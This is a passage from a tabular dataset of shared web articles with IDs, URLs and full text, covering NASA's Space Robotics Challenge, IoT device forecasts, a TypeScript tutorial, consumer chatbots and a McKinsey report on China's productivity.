thing, you want to talk to someone."" This could be Amazon's weak point. Competing with the commerce juggernaut on price or selection is a fool's game. But plenty of digital shopping carts get abandoned because people are just too unsure to pull the trigger. Operator pays commissions only, but hopes that can work out to at least $15 an hour. At first glance, that's less than an Uber driver makes, but there's no cost of gas, car, insurance, or the stress of being at the mercy of morons on the road. High performers could earn more through commissions. The core of Operator's challenge remains inserting itself at the moment of intent, and redirecting users from their go-to search engine or big box retailer. Chan promises he has some tricks up his sleeve for acquiring users and ""getting them to understand this new model"". Whether Operator becomes a household app or ends up some tech giant's acquihire will depend on it. ""We think of Operator as the third wave of commerce"" Chan concludes. At first, everything had to be bought in person at a store. You got great help, but it was inconvenient. Next, websites let you conveniently buy from home, but you didn't have assistance. Combining the ease of the internet with the help of a human could spur the next evolutionary leap in shopping. Operator is available for free on iOS and Android beta",en
1471817242,CONTENT SHARED,6514150672874342131,3609194402293569455,8604504276737949741,,,,HTML,http://spectrum.ieee.org/automaton/robotics/space-robots/nasa-space-robotics-challenge-tasks-prizes-how-to-participate,"NASA's Space Robotics Challenge: The Tasks, the Prizes, and How to Participate","Image: NASA Last year at the DARPA Robotics Challenge Finals, NASA announced a new challenge for humanoid robots: the Space Robotics Challenge (SRC) , which will ""prepare robots for the journey to Mars."" Just like the DRC, the first stage of the SRC will consist of a virtual challenge, run in the Gazebo simulator , followed up by a physical challenge using NASA's R5 Valkyrie robots . As of yesterday, NASA has opened registration for the SRC, and we'll take a look at the format of the competition, the challenges that teams will need to complete, and what they can take home for winning. The Space Robotics Challenge focuses on developing software to increase the autonomy of dexterous mobile robots-particularly those of humanoid format-so they can complete specific tasks during space travel or after landing on other planets (such as Mars), as well as on Earth. Eventually, these robots will assist us with tasks such as: Deploying and preparing habitats, power systems and other infrastructure on Mars before humans arrive. Disaster relief and industrial plant maintenance on our own planet. The following virtual challenge scenario serves as a backdrop for developing coding advancements that enable the autonomy of humanoid robotics: In the not too distant future, R5 has arrived on Mars along with supplies ahead of a human mission. Overnight a dust storm damaged the habitat and solar array, and caused the primary communication antenna to become misaligned. R5 must now repair an air leak in the habitat, deploy a new solar panel, and align the communication antenna. Sounds like fun , right? Right! The winner of the SRC Virtual Challenge gets US $125,000, with $100,000 going to second place, $50,000 to third, and $25,000 to fourth. Additionally, as many as six teams can take home a $50,000 bonus for completing all 18 subtasks consecutively within one single run. Anyone can enter the challenge, although the team leader of each team must be a U.S. citizen. In order to win a prize (for NASA to give you taxpayer money, in other words), 51 percent of the team must be U.S. citizens, although if you're a student at a U.S. university, that counts. It sounds like foreign teams can still enter and compete and win; they just won't get any prize money for doing so. Bummer. Before the SRC itself, there's a qualification round. A simulated R5 will have to identify a pattern of colored lights blinking on a panel, push a button, and walk through a doorway without falling down. The 20 top scoring teams (based on speed and accuracy) will each get US $15,000 and move on to the virtual competition itself, which will go something like this: Teams will use software to control a simulated R5 in order to resolve the problems caused by the dust storm. Each team will be evaluated according to a scoring metric that considers the number of tasks completed and the time required to complete the tasks. The competition arena will contain a rover, solar panels, communication dish, and a habitat on a Martian plain. Each component will be within eyesight and walking distance of each other. Practice environments, similar to those used in the final competition, will be provided to teams. Task 1: Communication Dish R5 will begin this task near a communication dish that is aligned incorrectly. R5 will be required to walk a short distance to the communication dish and locate two handles. One communication dish handle will adjust pitch and the other yaw. R5 will be provided with the current dish orientation and the desired orientation. A tolerance of five degrees in pitch and yaw is allowed. A message will be sent to R5 when the dish is correctly aligned. Task 2: Solar Array R5 will be required to walk to a rover in order to retrieve a new solar panel. After acquiring the new solar panel, R5 will walk to the solar array and deploy the new panel within reach of the power cable. Once deployed, R5 will connect the solar panel to the existing array. The solar panel will have a handle for R5 to grasp and carry. Deployment of the solar panel consists of placing the solar panel on the ground and pressing a button on the top of the solar panel. An existing power cable, located on the ground near the solar array, must be picked up by R5 and plugged into the newly deployed solar panel. Task 3: Air Leak R5 will be required to walk to the habitat, climb the stairs to the habitat entrance, enter the habitat, find an air leak using a leak detector tool, and repair the air leak using a patch tool. Stairs to the habitat entrance have railings on both sides. The habitat entrance consists of a door with a rotary valve that must be turned to unlock the door. The door is hinged to swing into the habitat, and must be pushed open by R5. Upon entering the habitat, R5 should pick up a leak detector device from a table, and walk to a designated wall that is known to have a leak. The leak detector tool will continuously emit a message that contains information about presence or absence of an air leak. By moving the leak detector tool in front of the wall, R5 should locate the source of the leak. Once the leak is found, R5 should pick up a leak repair tool from a nearby table and press the tool on the leak location. The act of pressing the leak repair tool on the correct leak location will stop the leak. After completing each task, R5 must walk into a finish area, which ends the run. NASA will impose bandwidth limitations (1-2 Mb/s maximum), time limitations (30 minutes to 2 hours, depending on the task), and a round trip latency of up to 20 seconds. Each task will be run five times by each team, and all runs will be slightly different, with tweaks to ""the location of all objects in the environment, the starting position of the robot, the communications parameters (latency), contact friction properties, obstacle placement, object geometry, and other relevant parameters."" Scoring is based primarily on task completion, with each task consisting of multiple subtasks. The more subtasks you manage to do in a row without stopping, the more points you get. The first subtask you complete is worth 1 point, the second is worth 2 points, and so on. This value increase continues from task to task, so if you make it from Task 1 (four subtasks) to Task 2 in a single shot, that first subtask in Task 2 is worth five points instead of one. Skipping a subtask or asking for a reset will knock the subtask point counter back down to zero. Time is taken into account only if there's a tie on points. The winner of the SRC Virtual Challenge gets $125,000, with $100,000 going to second place, $50,000 to third, and $25,000 to fourth. Additionally, as many as six teams can take home a $50,000 bonus for completing all 18 subtasks consecutively within one single run-a perfect run, in other words. The top four teams will also be awarded ""a code implementation partnership with an R5 Host Team for a time period of at least two weeks."" We're assuming this means that if you prove that you know what you're doing in the Virtual Challenge, NASA will let you try your software out on one of the handful of real Valkyries at robotics labs in the United States and Europe . Registration for the challenge is open now and will remain open for one month, until September 16. The qualification software will be released on September 19, with qualification ending November 15. The final teams will be selected on December 1. The SRC Virtual Competition itself will run June 13 to 16, 2017, and we'll know who won on June 30. [ Space Robotics Challenge ]",en
1471817972,CONTENT SHARED,-5847687782206566321,3609194402293569455,8604504276737949741,,,,HTML,http://googlediscovery.com/2016/08/19/google-comeca-preparar-o-android-para-chegada-do-assistant/,Google começa a preparar o Android para a chegada do Assistant | Google Discovery,"De acordo com informações do Android Police , a versão 6.3 do aplicativo do Google para Android demonstra sinais de que a estreia do Assistant pode acontecer muito em breve. Anunciado durante o Google I/O 2016, o Assistant foi descrito como um assistente virtual capaz de utilizar o aprendizado de máquina e inteligência artificial para entender o contexto de uma conversa. No Android, o Google Assistant será embarcado para trabalhar com funcionalidades do sistema (ex: Now on Tap) e com uma integração profunda com o aplicativo de bate-papo Allo - com previsão de lançamento para setembro. Um Teardown do blog americano, feito numa versão recente do aplicativo Google, revelou duas novidades: a presença do logotipo do Assistant e - uma informação inédita até o momento - a limitação inicial do serviço para o inglês e alemão. Além do Android, o Google Assistant também vai funcionar no Google Home , um assistente doméstico com suporte a voz que permite obter respostas do Google, streaming de música e gerenciar as tarefas diárias. é bacharel em administração de empresas e fundador da FragaNet Networks - empresa especializada em comunicação digital e mídias sociais. Em seu portfólio estão projetos como: Google Discovery, TechCult, AutoBlog e Arquivo UFO. Também foi colunista de tecnologia no TechTudo, da Globo.com.",pt
1471818149,CONTENT SHARED,-3537777320523757545,3609194402293569455,8604504276737949741,,,,HTML,http://spectrum.ieee.org/tech-talk/telecom/internet/popular-internet-of-things-forecast-of-50-billion-devices-by-2020-is-outdated,Popular Internet of Things Forecast of 50 Billion Devices by 2020 Is Outdated,"If you follow discussions about the Internet of Things , you've probably heard this stunning prediction at least once: The world will have 50 billion connected devices by 2020. Ericsson's former CEO Hans Vestburg was among the first to state it in a 2010 presentation to shareholders. The following year, Dave Evans, who worked for Cisco at the time, published the same prediction in a white paper. Today, that figure has arguably done more than any other statistic to set sky-high expectations for potential IoT growth and profits. Remarkably, those projections weren't even close to the highest of the time-in 2012, IBM forecasted 1 trillion connected devices by 2015. ""The numbers were getting kind of crazy,"" recalls Bill Morelli , a market research director for IHS Markit. Now it's 2016, and we're nowhere near 1 trillion IoT devices, or even 50 billion for that matter. The current count is somewhere between Gartner's estimate of 6.4 billion (which doesn't include smartphones, tablets, and computers), International Data Corporation's estimate of 9 billion (which also excludes those devices), and IHS's estimate of 17.6 billion (with all such devices included). Since they first made their projections, both Ericsson and Evans have lowered their expectations from 50 billion for 2020: Evans, who is now CTO of Stringify , says he expects to see 30 billion connected devices by then, while Ericsson figures on 28 billion by 2021. Other firms have adopted similar tones: IHS Markit projects 30.7 billion IoT devices for 2020, and Gartner expects 20.8 billion by that time (excluding smartphones, tablets, and computers). Lastly, IDC anticipates 28.1 billion (again, not counting those devices). Meanwhile, the popular 50 billion figure continues to be widely cited. Even Evans is a bit surprised by its lasting power. ""I think people do tend to latch onto numbers that seem really hard to fathom,"" he says. ""Fifty billion is pretty staggering."" Forecasting the future is no easy task, and there's nothing unusual or wrong about analysts and companies revising their projections. However, IoT forecasts are especially large with significant variability among firms and over time, skewing tens of billions of units in either direction. At the same time, any market with such potential girth dazzles entrepreneurs and investors. For comparison, 18.6 billion microcontrollers were shipped in 2014, and 10.4 billion RFID tags will be shipped this year. Given the forecasts, IoT is expected to top them all. ""I don't think we've seen this type of market size before, to be honest,"" says Vernon Turner , a senior IoT analyst for IDC. Peter Middleton , a research director at Gartner involved in the firm's IoT forecasts, says future IoT projections are intended to create ""market efficiency,"" helping companies make smart choices about whether they should enter a new area and informing venture capitalists as they decide where to place their investments. Earlier this week, Intel executive Venkata Renduchintala emphasized the company's enthusiasm for IoT in a keynote at its annual developers' forum. Still, it would seem the practical utility of IoT estimates is limited if they have the potential to be revised by many billions of units. Turner at IDC says such variation and fluidity of these numbers is typical of early estimates focused on nascent markets. The point, he suggests, is to think of the estimates as a general signal, rather than focus on the specific numbers. There are many reasons why projections from different firms may change over time, or simply not match up in the first place. Each company starts with its own definition of IoT and refines its methods over time. To begin, many collect annual sales data from manufacturers that produce connected devices, or components such as semiconductors, as well as from companies that sell and ship those products to customers. Then firms subtract a percentage of devices to account for those that will be replaced or thrown out each year. When added to estimates from past years, that leaves the firms with the ""install base,"" or approximate number of connected devices in use at a given time. Some firms include other variables, such as the amount of money that companies spend annually on information technology. Evans factors in industry growth rates based in part on Moore's Law , the longstanding prediction that the number of transistors in an integrated circuit doubles every year or two, and Metcalfe's Law , which states that the utility of a network increases with each new device that connects to it. Firms often have no real way to know how many devices that are sold and shipped actually wind up connected to the Internet, so some conduct consumer and business surveys to gauge how devices are used. Morelli at IHS Markit estimates 90 percent of communications devices (including smartphones) are switched on, but perhaps only 50 percent of cars and accessories are ever connected. Janna Anderson , an expert in emerging technologies at Elon University, says there is a degree of self-interest at play in projections, too. In 2013, she helped the Pew Internet Project survey more than 1,600 experts about what the IoT might look like in 2025 . Not surprisingly, she found that ""those who are marketing it and those whose bottom line is somehow impacted by enthusiastic predictions are more likely to make them."" Middleton at Gartner, who publishes one of the most conservative IoT estimates available, also believes boosterism plays a role in some analyses. ""It's human nature,"" he says. ""If you're a participant in the industry, and you're launching new products, there's a lot of enthusiasm that builds and a lot of hype."" One of the puzzling things about IoT estimates is that they attempt to anticipate demand for devices that have largely not yet been invented or commercialized. At this point, even the strictest definitions of IoT remain fuzzy because companies are still working on the technologies and business cases. ""Will connected pets be a thing of the future? No one knows,"" Evans says. In fact, IoT skeptics often point to Bluetooth-enabled toasters as an example of senseless connectivity that will only ever be used by a handful of early adopters. But Evans is confident that entrepreneurs will find many millions of practical ways to serve customers through the IoT in due time. ""I think technology needs to solve real problems, and if it doesn't solve real problems in the real world, it's probably a gimmick and will die on the vine,"" he says. Though past estimates haven't exactly panned out, Bob Heile , standards director for the Wi-SUN Alliance and chair of IEEE 802.15 (a working group for wireless personal area networks), says the general trend that early IoT analysts predicted has proven true. There are more and more connected devices today than five or 10 years ago, even if they're being connected at a slightly slower rate. ""What I do know, because the trend is absolutely undeniable, is more and more things are getting the ability to communicate and connect to something else,"" he says. As the next 10 billion IoT devices come online, the industry will face some formidable challenges, such as ensuring the security of its devices, powering billions of sensors, and handling all the resulting e-waste. Despite those issues, Evans isn't bashful about anticipating an even bigger future. ""I could see trillions of connected things, ultimately,"" he says.",en
1471819325,CONTENT SHARED,-908505899495735224,3609194402293569455,8604504276737949741,,,,HTML,http://trendwatching.com/trends/social-servants/,New Asia Trend Briefing from TrendWatching | SOCIAL SERVANTS,"The online world has allowed for faster, easier and more far-reaching social connections. The result has been new expectations and new, more progressive norms around connection. But it can often feel as though the offline world has failed to keep up. Same social codes of conduct? Check. Same old stigmas and embarrassments? Check. And that can apply doubly in Asia, where local traditions, conventions (spoken or unspoken) and taboos are often still powerful. The disconnect between the two has led to an expectation gap. Asia's connected consumers increasingly expect offline social interactions - from asking a stranger a question to communicating with a loved one - to be as seamless and comfortable as their online interactions. Now, smart brands are addressing this gap by becoming SOCIAL SERVANTS. That means creating tools and services that facilitate conversations and interactions - even awkward ones! - in the offline world.",en
1471819505,CONTENT SHARED,4333668738649701866,3609194402293569455,8604504276737949741,,,,HTML,http://trendwatching.com/trends/reconciliation-brands/,New Trend Briefing from TrendWatching | RECONCILIATION BRANDS,"No, we're not trying to be doom-mongers ;) But there's plenty going on in the world right now - from the US, to Europe, South and Central America and beyond - that is fueling social tensions and engendering disharmony. Meanwhile, societies everywhere are dealing with historic prejudices and inequalities. And via the events around #blacklivesmatter, we've seen how smartphone culture is helping to expose previously submerged and on-going injustices and fuel intense debate. Scary times? Maybe. But people everywhere are looking to new ways to approach social division and rectify social wrongs. And for the billions that are 24/7 consumers? That means looking to brands and businesses to play their part. Yes, that's right. Brands like YOURS!",en
1471819938,CONTENT SHARED,-310216403933861245,3609194402293569455,8604504276737949741,,,,HTML,http://www.digitaltrends.com/home/facebook-messenger-launches-trulia-apartment-hunting-bot/,"Finding an apartment to rent is as easy as hitting ""Send"" with Trulia's new Facebook Messenger bot","The list of what Facebook Messenger can do for you just got a little longer. Less than a month after offering users instant access to articles , the not-just-a-messaging-service service is now offering instant apartment searches through a partnership with the online real estate site, Trulia . Users can start finding rentals immediately by messaging the Trulia bot just like you would any other friend. For example, check out the following exchange: But with the plethora of ways to search for an apartment these days, is Trulia as convenient as it looks? We tried it and... well, it is. The results come quickly, with browsing made simple with a swift swipe to the left. Clicking ""Get a Summary"" under the featured image for each property gives you more photos and details on the space. Though there was a slight inconvenience which immediately stood out to us: If you want to check out more properties on your results list, you'll find yourself doing a lot of scrolling back up. Searching multiple areas of a city also doesn't seem to be an option for now. Related: Are you a Facebook Messenger user? You're now officially one in a billion or so What makes Trulia particularly stand out is its ability to provide information on the neighborhood, including average age of renters in the area and, even more importantly, crime rates from Very Low to Very High. Be warned, however, as the convenience of the instant message apartment hunt could be hazardous to your productivity. Renters who aren't even actively looking for a new place might spend hours searching homes in their dream neighborhood (and out of their ideal price range). I'm not even graduated nor do I have a job but I'm already on @trulia looking for homes and apartments — Stephanie (@schnipstastic) August 3, 2016 Or start obsessing over how one neighborhood's crime rates stack up against others. The cops found a bomb at 15th and Denver. That's 2 blocks from our apartment. Trulia wasn't lying about that high crime rate. — mini series taylor (@ThatGalTaylor) July 13, 2016 Or cause ridiculous fantasies about finding your next Tinder-like hookup. I propose hybrid dating sites. Trulia/dating matches w/ men who like same properties Seamless/dating match with men who also like fish tacos — Teeveeproducer (@TeeVeeProducer) February 8, 2015 Actually, if this Trulia blog post from 2013 is any indication, that last proposal will surely be an actual feature in no time.",en
1471820366,CONTENT SHARED,-6893108632164641498,3609194402293569455,8604504276737949741,,,,HTML,http://tutorialzine.com/2016/07/learn-typescript-in-30-minutes/,Learn TypeScript in 30 Minutes,"Learn TypeScript in 30 Minutes Danny Markov Today we're going to take a look at TypeScript, a compile-to-JavaScript language designed for developers who build large and complex apps. It inherits many programming concepts from languages such as C# and Java that add more discipline and order to the otherwise very relaxed and free-typed JavaScript. This tutorial is aimed at people who are fairly proficient in JavaScript but are still beginners when it comes to TypeScript. We've covered most of the basics and key features while including lots of examples with commented code to help you see the language in action. Let's begin! The Benefits of Using TypeScript JavaScript is pretty good as it is and you may wonder Do I really need to learn TypeScript? Technically, you do not need to learn TypeScript to be a good developer, most people do just fine without it. However, working with TypeScript definitely has its benefits: Due to the static typing, code written in TypeScript is more predictable, and is generally easier to debug. Makes it easier to organize the code base for very large and complicated apps thanks to modules, namespaces and strong OOP support. TypeScript has a compilation step to JavaScript that catches all kinds of errors before they reach runtime and break something. The upcoming Angular 2 framework is written in TypeScript and it's recommended that developers use the language in their projects as well. The last point is actually the most important to many people and is the main reason to get them into TypeScript. Angular 2 is one of the hottest frameworks right now and although developers can use regular JavaScript with it, a majority of the tutorials and examples are written in TS. As Angular 2 expands its community, it's natural that more and more people will be picking up TypeScript. Installing TypeScript You will need Node.js and Npm for this tutorial. Go here if you don't have them installed. The easiest way to setup TypeScript is via npm . Using the command below we can install the TypeScript package globally, making the TS compiler available in all of our projects: Try opening a terminal anywhere and running tsc -v to see if it has been properly installed. Text Editors With TypeScript Support TypeScript is an open-source project but is developed and maintained by Microsoft and as such was originally supported only in Microsoft's Visual Studio platform. Nowadays, there are a lot more text editors and IDEs that either natively or through plugins offer support for the TypeScript syntax, auto-complete suggestions, error catching, and even built-in compilers. Visual Studio Code - Microsoft's other, lightweight open-source code editor. TypeScript support is built in. Official Free Plugin for Sublime Text. The latest version of WebStorm comes with built in support. More including Vim, Atom, Emacs and others. Compiling to JavaScript TypeScript is written in .ts files (or .tsx for JSX), which can't be used directly in the browser and need to be translated to vanilla .js first. This compilation process can be done in a number of different ways: In the terminal using the previously mentioned command line tool tsc . Directly in Visual Studio or some of the other IDEs and text editors. Using automated task runners such as gulp . We found the first way to be easiest and most beginner friendly, so that's what we're going to use in our lesson. The following command takes a TypeScript file named main.ts and translates it into its JavaScript version main.js . If main.js already exists it will be overwritten. We can also compile multiple files at once by listing all of them or by applying wildcards: We can also use the --watch option to automatically compile a TypeScript file when changes are made: More advanced TypeScript users can also create a tsconfig.json file, consisting of various build settings. A configuration file is very handy when working on large projects with lots of .ts files since it somewhat automates the process. You can read more about tsconfig.json in the TypeScript docs here Static Typing A very distinctive feature of TypeScript is the support of static typing. This means that you can declare the types of variables, and the compiler will make sure that they aren't assigned the wrong types of values. If type declarations are omitted, they will be inferred automatically from your code. Here is an example. Any variable, function argument or return value can have its type defined on initialization: Because TypeScript is compiled to JavaScript, and the latter has no idea what types are, they are completely removed: However, if we try to do something illegal, on compilation tsc will warn us that there is an error in our code. For example: It will also warn us if we pass the wrong argument to a function: Here are some of the most commonly used data types: Number - All numeric values are represented by the number type, there aren't separate definitions for integers, floats or others. String - The text type, just like in vanilla JS strings can be surrounded by 'single quotes' or ""double quotes"". Boolean - true or false , using 0 and 1 will cause a compilation error. Any - A variable with this type can have it's value set to a string, number, or any thing else. Arrays - Has two possible syntaxes: my_arr: number[]; or my_arr: Array<number> . Void - Used on function that don't return anything. To see a list of all of the available types, go to the official TypeScript docs - here . Interfaces Interfaces are used to type-check whether an object fits a certain structure. By defining an interface we can name a specific combination of variables, making sure that they will always go together. When translated to JavaScript, interfaces disappear - their only purpose is to help in the development stage. In the below example we define a simple interface to type-check a function's arguments: The order of the properties does NOT matter. We just need the required properties to be present and to be the right type . If something is missing, has the wrong type, or is named differently, the compiler will warn us. This is a beginners guide so we won't be going into more detail about interfaces. However, there is a lot more to them than what we've mentioned here so we recommend you check out the TypeScript docs - here . Classes When building large scale apps, the object oriented style of programming is preferred by many developers, most notably in languages such as Java or C#. TypeScript offers a class system that is very similar to the one in these languages, including inheritance, abstract classes, interface implementations, setters/getters, and more. It's also fair to mention that since the most recent JavaScript update (ECMAScript 2015), classes are native to vanilla JS and can be used without TypeScript. The two implementation are very similar but have their differences, TypeScript being a bit more strict. Continuing with the food theme, here is a simple TypeScript class: Anyone who has written at least a bit of Java or C# should find this syntax comfortably familiar. The same goes for inheritance: For a more in-depth look at classes in TS you can read the documentation - here . Generics Generics are templates that allow the same function to accept arguments of various different types. Creating reusable components using generics is better than using the any data type, as generics preserve the types of the variables that go in and out of them. A quick example would be a script that receives an argument and returns an array containing that same argument. The first time we called the function we manually set the type to string. This isn't required as the compiler can see what argument has been passed and automatically decide what type suits it best, like in the second call. Although it's not mandatory, providing the type every time is considered good practice as the compiler might fail to guess the right type in more complex scenarios. The TypeScript docs include a couple of advanced examples including generics classes, combining them with interfaces, and more. You can find them here . Modules Another important concept when working on large apps is modularity. Having your code split into many small reusable components helps your project stay organized and understandable, compared to having a single 10000-line file for everything. TypeScript introduces a syntax for exporting and importing modules, but cannot handle the actual wiring between files. To enable external modules TS relies on third-party libraries: require.js for browser apps and CommonJS for Node.js. Let's take a look at a simple example of TypeScript modules with require.js: We will have two files. One exports a function, the other imports and calls it. exporter.ts importer.ts Now we need to download require.js and include it in a script tag - see how here . The last step is to compile our two .ts files. An extra parameter needs to be added to tell TypeScript that we are building modules for require.js (also referred to as AMD), as opposed to CommonJS ones. Modules are quite complex and are out of the scope of this tutorial. If you want to continue reading about them head out to the TS docs - here . Third-party Declaration Files When using a library that was originally designed for regular JavaScript, we need to apply a declaration file to make that library compatible with TypeScript. A declaration file has the extension .d.ts and contains various information about the library and its API. TypeScript declaration files are usually written by hand, but there's a high chance that the library you need already has a .d.ts. file created by somebody else. DefinitelyTyped is the biggest public repository, containing files for over a thousand libraries. There is also a popular Node.js module for managing TypeScript definitions called Typings . If you still need to write a declaration file yourself, this guide will get you started. Upcoming Features in TypeScript 2.0 TypeScript is still under active development and is evlolving constantly. At the time of the writing of this tutorial the LTS version is 1.8.10, but Microsoft have already released a Beta for TypeScript 2.0. It's available for public testing and you can try it out now: It introduces some handy new concepts such as: Non-nullable types flag which prevents some variables from having their vlaue set to null or underifned . New improved system for getting declaration files directly with an npm install . Control flow type analysis that catches errors previously missed by the compiler. Some innovations in the module export/import syntax. Another long-awaited feature is the ability to control the flow of asynchronous functions in an async/await block. This should be available in a future 2.1 update. Further Reading The amount of information in the official docs can be a bit overwhelming at first, but the benefits of going through it will be huge. Our tutorial is to be used as an introduction, so we haven't covered all of the chapters from the TypeScript documentation. Here are some of the more useful concepts that we've skipped: Conclusion We hope you enjoyed this tutorial! Do you have any thoughts on TypeScript and would you consider using it in your projects? Feel free to leave a comment below! by Danny Markov Danny is Tutorialzine's Bootstrap and HTML5 expert. When he is not in the office, you can usually find him riding his bike and coding on his laptop in the park.",en
1471825327,CONTENT SHARED,-5350793437550886525,3609194402293569455,2225608484985884341,,,,HTML,http://www.digitaltrends.com/cool-tech/best-chatbots/,Here's 6 helpful chatbots that prove conversation machines can do more than just talk,"Changing how kids learn From MOOCs (Massive open online courses) to the use of iPads in schools, there's no doubt that technology is changing the way that we learn. Chatbots could have a similar effect, too - by offering a means by which children can better interact with the subjects they're studying. That was the conclusion reached by UK-based tech company +rehabstudio. During a recent hackathon event, they came up with the idea of creating an ""edubot"" that would enable kids to ask questions to a tyrannosaurus rex (called Tina) using Facebook Messenger. The finished product was a collaboration between +rehabstudio (providing the tech) and National Geographic Kids (providing the data.) ""The biggest challenge was training,"" CC Clark, head of marketing for +rehabstudio, told Digital Trends. ""Tina can answer many different questions, all of which relate to herself such as habitat, diet and so on, and each of those can be expressed in many different ways - especially where kids are involved. The bulk of our work was in of user-testing, feedback, and scripting appropriate responses."" Still, when the results work it's more than worth it. ""It's not always easy to get kids to engage with something educational, but getting to chat to a seemingly-real life, walking, talking, bone-crunching dinosaur?"" Gemma Chandler, Digital Editor at NG Kids, told Digital Trends. ""That ought to get their attention!"" Making politics more accessible In their current state, most people probably wouldn't expect to have a conversation with a chatbot about politics. However, that's exactly what's been happening in India where an estimated 36 per cent of the country's 884 million-person rural population is unable to read or write. To help promote political engagement during elections, the startup Voxta created a chatbot with speech recognition capabilities in four different languages - allowing users to ask questions in their own language and access recorded answers about political parties' policies and views. Tools like this are still in their infancy, but they offer a glimpse at how chatbots could help promote political engagement in the years to come. Learn more Giving us someone to confide in Fancy a therapeutic chat with a chatbot? We might be a long way away from the world demonstrated in Spike Jonze's 2013 movie Her , in which a lonely middle-aged man develops a relationship with his Scarlett Johansson-voiced virtual assistant, Samantha. However, that doesn't mean that chatbots aren't starting to explore this particular sphere of human relationships. In China millions of smartphone users frequently spend hours interacting with Xiaoice , a Microsoft-created chatbot which exchanges text messages with its users. Xiaoice uses deep learning technology to pair up user queries with human-generated responses mined from the Internet. It can even track real life details about its users, such as who they are dating or what they do for a living, and return to these topics in later conversations - such as asking how a person is coping after losing their job. Check it out Appealing parking tickets Earlier this year, 19-year-old British computer whiz Joshua Browder made waves when he developed a free legal chatbot which proved successful at appealing around $4 million worth of parking tickets. While the robot lawyer won't be replacing human lawyers any time soon, it does do impressively well at understanding the appeals process and breaking it down into standardized questions to be answered. Working out details like who was driving a car, or whether signage was confusing or unclear, the robot is capable of generating a properly-worded appeals letter which can then be mailed off to court. And that's not all it can do... Helping homeless people apply for housing Speaking of the DoNotPay robot lawyer, Joshua Browder recently expanded its abilities to also help homeless people in the UK apply for assistance in the form of government housing. ""I'm working with several lawyers and Centrepoint, the largest charity in the UK for homeless youth, to design a free way for those who face eviction and repossession to claim housing from the government,"" Bowder told Digital Trends. ""It works by asking questions to ensure the person is eligible before taking down specific details. The eligibility questions include whether you're a UK citizen and whether you're legally homeless, for example. It will then use all that information to generate a complete housing letter, which can be sent directly to the government."" The legal document created is even created so as to ""maximize [a claimant's] legal chances"" by highlighting the most relevant information. ""In the future, I'm also looking to expand it to help Syrian refugees claim asylum in the UK,"" Bowder said. Check it out Diagnosing disease When Facebook opened up its Messenger app to third-party developers earlier this year, one of the companies to jump on board was the health-focused HealthTap . The chatbot presented here let users type questions into Messenger and be matched up with responses from real life doctors. ""We're excited to be the first healthcare company to deliver fast, high-quality information from compassionate doctors directly to people all over the world through the Messenger Platform,"" HealthTap CEO Ron Gutman said when it launched . Paying customers can then seek additional help through live chat, or audio and video appointments. Right now, HealthTap boasts of featuring in excess of 100,000 doctors across 141 specialties. No, chatbots aren't going to replace your regular physician any time soon (anyone who thinks complex health problems can be answered using some smart keyword searching or natural language processing doesn't understand medicine), but they could act as a valuable triage service to point you in the right direction. Picking us out a recipe Fancy a new way to find tantalizing recipes? Whole Foods has joined the Facebook Messenger party by coming up with a way to turn text or even emoji-based searches (finally, a non-lewd use for that eggplant emoji!) into suggestions. Enter a taco emoji, for instance, and you'll receive links to recipes featuring tacos. Given that it's a Whole Foods innovation, the recipes are unsurprisingly all based around the Whole Foods website - but it makes working out what you're going to eat for dinner tonight and then buying the ingredients painless and, weirdly, even kind of fun. Best of all is the fact that Whole Food lets you add text to modify recipes in line with any unique dietary requirements you might have. Check it out",en
1471844019,CONTENT SHARED,5518462222339671372,8968131284214320024,-9107718294337670216,,,,HTML,http://www.mckinsey.com/global-themes/employment-and-growth/capturing-chinas-5-trillion-productivity-opportunity,Capturing China's $5 trillion productivity opportunity,"It won't be easy, but shifting to a productivity-led economy from one focused on investment could add trillions of dollars to the country's growth by 2030. After three decades of sizzling growth, China is now regarded by the World Bank as an upper-middle-income nation, and it's on its way to being one of the world's advanced economies. The investment-led growth model that underpinned this extraordinary progress has served China well. Yet some strains associated with that approach have become evident. In 2015, the country's GDP growth dipped to a 25-year low, corporate debt soared, foreign reserves fell by $500 billion, and the stock market dropped by nearly 50 percent. A long tail of poorly performing companies pulls down the average, although top-performing Chinese companies often have returns comparable with those of top US companies in their industries. More than 80 percent of economic profit comes from financial services-a distorted economy. Speculation that China could be on track for a financial crisis has been on the rise. The nation faces an important choice: whether to continue with its old model and raise the risk of a hard landing for the economy, or to shift gears. A new McKinsey Global Institute report, China's choice: Capturing the $5 trillion productivity opportunity, finds that a new approach centered on productivity could generate 36 trillion renminbi ($5.6 trillion) of additional GDP by 2030, compared with continuing the investment-led path. Household income could rise by 33 trillion renminbi ($5.1 trillion), as the exhibit shows. Pursuing a new economic model China has the capacity to manage the decisive shift to a productivity-led model. Its government can pull fiscal and monetary levers, such as raising sovereign debt and securing additional financing on the basis of 123 trillion renminbi in state-owned assets. China has a vibrant private sector, earning three times the returns on assets of state-owned enterprises. There are now 116 million middle-class and affluent households (with annual disposable income of at least $21,000 per year), compared with just 2 million such households in 2000. And the country is ripe for a productivity revolution. Labor productivity is 15 to 30 percent of the average in countries that are part of the Organisation for Economic Co-operation and Development (OECD). A new productivity-led model would enable China to create more sustainable jobs, reinforcing the rise of the consuming middle class and accelerating progress toward being a full-fledged advanced economy. Such a shift will require China to steer investment away from overbuilt industries to businesses that have the potential to raise productivity and create new jobs. Weak competitors would need to be allowed to fail rather than drag down profitability in major sectors. Consumers would have more access to services and opportunities to participate in the economy. Revolutionizing China's economy Making this transition is an urgent imperative. The longer China continues to accumulate debt to support near-term goals for GDP growth, the greater the risks of a hard landing. We estimate that the nonperforming-loan ratio in 2015 was already at about 7 percent, well above the reported 1.7 percent. If no visible progress is made to curb lending to poorly performing companies, and if the performance of Chinese companies overall continues to deteriorate, we estimate that the nonperforming-loan ratio could rise to 15 percent. This would trigger a substantial impairment of banks' capital and require replenishing equity by as much as 8.2 trillion renminbi ($1.3 trillion) in 2019. In other words, every year of delay could raise the potential cost by more than 2 trillion renminbi ($310 billion). Although such an escalation would not lead to a systemic banking crisis, a liquidity crunch among corporate borrowers and waning confidence of investors and consumers during the recovery phase would have a significant negative impact on growth. Our report identifies five major opportunities to raise productivity by 2030: unleashing more than 39 trillion renminbi ($6 trillion) in consumption by serving middle-class consumers better enabling new business processes through digitization moving up the value chain through innovation, especially in R&D-intensive sectors, where profits are only about one-third of those of global leaders improving business operations through lean techniques and higher energy efficiency, for instance, which could deliver a 15 to 30 percent productivity boost strengthening competitiveness by deepening global connections, potentially raising productivity by 10 to 15 percent Capturing these opportunities requires sweeping change to institutions. China needs to open up more sectors to competition, enable corporate restructuring, and further develop its capital markets. It needs 